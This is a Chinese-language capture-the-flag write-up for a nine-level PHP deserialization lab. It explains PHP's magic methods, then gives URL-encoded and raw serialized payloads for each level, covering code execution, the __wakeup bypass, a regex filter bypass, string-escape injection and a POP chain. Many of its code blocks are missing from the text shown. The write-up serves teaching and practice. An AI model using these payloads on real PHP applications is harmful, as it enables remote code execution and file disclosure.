TASK 2-php-SER-libs-main
serialize() 函数用于序列化对象或数组,并返回一个字符串。
serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
如果想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。
实例:
1 |
|
输出:a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
常见魔术方法的作用和触发条件:
魔术方法 | 作用 |
---|---|
__construct() | 创建对象时触发 |
__destruct() | 对象被销毁时触发 |
__sleep() | 在对象被序列化的过程中自动调用,且发生在序列化之前 |
__wakeup() | 该魔术方法在反序列化的时候自动调用,且发生在反序列化之前 |
__get() | 用于从不可访问或不存在的属性读取数据 |
__set() | 用于将数据写入不可访问或不存在的属性 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__toString() | 在对象当做字符串的时候会被调用 |
__invoke() | 当尝试将对象调用为函数时触发 |
level-1
由于本关会获取flag值并将其进行反序列化后执行其action方法将其act值作为php语句执行,所以我们在url中为flag赋值,使其在反序列化后赋给act的值能够输出flag.php。
我们在在线工具中运行如下代码,获取能够输出flag.php的flag的url值。
1 |
|
运行结果如下图:
然后在url后加上一段?flag=O%3A1%3A"a"%3A1%3A%7Bs%3A3%3A"act"%3Bs%3A24%3A"show_source%28%27flag.php%27%29%3B"%3B%7D
即可
level-2
本关通过login
方法进行校验,对param进行反序列化后判断user和pass是否正确,因此,我们通过对账号密码实例进行序列化和url编码即可。
在线运行以下代码:
1 |
|
运行结果如下图,得到param值O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D
在url后加上param值即可拿到flag:
level-3
本关和上一关一样,只是在本关需要cookie传参,在浏览器中添加cookie名称为param,值为O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D
即可。
level-4
这关利用了一个特性: 当一个数组array中第一个参数是对象,第二个参数是该对象内的方法时,在反序列化该数组时会执行该对象内的该方法.create_function()
:用于从字符串参数创建一个匿名函数.create_function(string $args, string $code): string
:$args:字符串参数,用于定义匿名函数的参数。例如,‘a, b’ 将会创建一个接受两个参数 $a 和 b 的函数。
$code:字符串参数,包含匿名函数的主体。这通常是有效的 PHP 代码。
由于本关的param参数并未传递到某个函数,所以我们只能将函数传给param。通过观察代码中所给的两个类,不难发现,一个类可用于存储字符串,一个类可用于执行php代码,于是我们可以通过此段代码获取能够使本关显示flag的param值。
1 |
|
首先array中第一个参数是设计好的GetFlag类的对象,第二个参数是它的方法,这样子充分利用了func类中的反序列化函数。
将array序列化后的值赋值给func的key属性值,这是为了之后反序列化能够实现。接着将func类的对象a2序列化再url转化。
后端函数在接收到序列化值时候,反序列化a2,函数执行结束调用析构函数,使得get_flag函数得以实现。
将取得的param值输入url中即可拿到flag。
level-5
这关目标是要执行类secret
的一个实例,这个实例的属性$file需要修改为 $file=flag.php
, 但是这关有个魔术方法__wakeup
会在反序列化时候修改$file
,所以我们需要修改序列化结果,使其中属性数量大于实际数量就可以避免执行__wakeup
方法。
先执行如下代码,序列化对象。
1 |
|
得到O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
由于本关有一个过滤preg_match(‘/[oc]:\d+:/i’,$cmd)
,使得字符o
或c
后跟冒号再跟数字的字符串不能通过。因此,我们在冒号后加一个+
即可绕过,并将序列化后的字符串的类的数值改大。
再执行echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
得到的值即可。
level-6
这一关需要绕过的就是str_replace函数,因为private、public、protect在序列化时候有影响.
Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性
1 |
|
此代码产生的序列化能够使本关按行排序输出flag.php内容,但private初始化的变量被序列化时会产生%00
,用\00
替代并将相关的s换成大写即可。
level-7
这里多了一个call方法,这个方法就是如果调用对象中没有的方法就会调用call方法。查看源代码,只要调用一个my类对象没有的方法,并且func和name的值对的上就行。call触发后会把该不存在的方法名直接以参数的形式传入__call方法中。
至于如何调用到my中的方法,就要利用you类中的destruct方法。分析过后,将方法名赋值给pro就行,然后将body指向my的对象,这样$this->body->$project();就可以调用my的方法了。
1 |
|
level-8
即使我们修改了pass的值在反序列化后执行代码中还是会对pass初始化,这里实践是在考察增量逃逸,增量逃逸其实是利用了序列化与反序列化的属性个数检查差异实现。如果我们在user
中加入一个}
就可以在反序列化时提前闭合,且该方法不会在序列化时闭合。本关中的filter函数会将param中包含的flag
和php
替换成hack
,且将php
换成hack
时会在序列化格式中产生一个长度差,所以我们在user
中每写入一个php
就会弥补一个长度差。因为我们需要在user后加入";s:4:"pass";s:8:"escaping";}
共29个字符,所以我们需要在user中写入29个php,即 $a=new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');
。
最终payload为O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
。
本关也可以通过手动修改s的大小防止报错,如O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
level-9
本关出现了多个魔术方法:
__invoke() 当一个类被当作函数执行时调用此方法。
__construct 在创建对象时调用此方法
__toString() 在一个类被当作字符串处理时调用此方法
__wakeup() 当反序列化恢复成对象时调用此方法
__get() 当读取不可访问或不存在的属性的值会被调用
因此,我们先将Modifier中的var
值初始化改为flag.php
然后添加下面这段语句
1 | $a=new Modifier(); |
得到的payload为O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D
上传后即可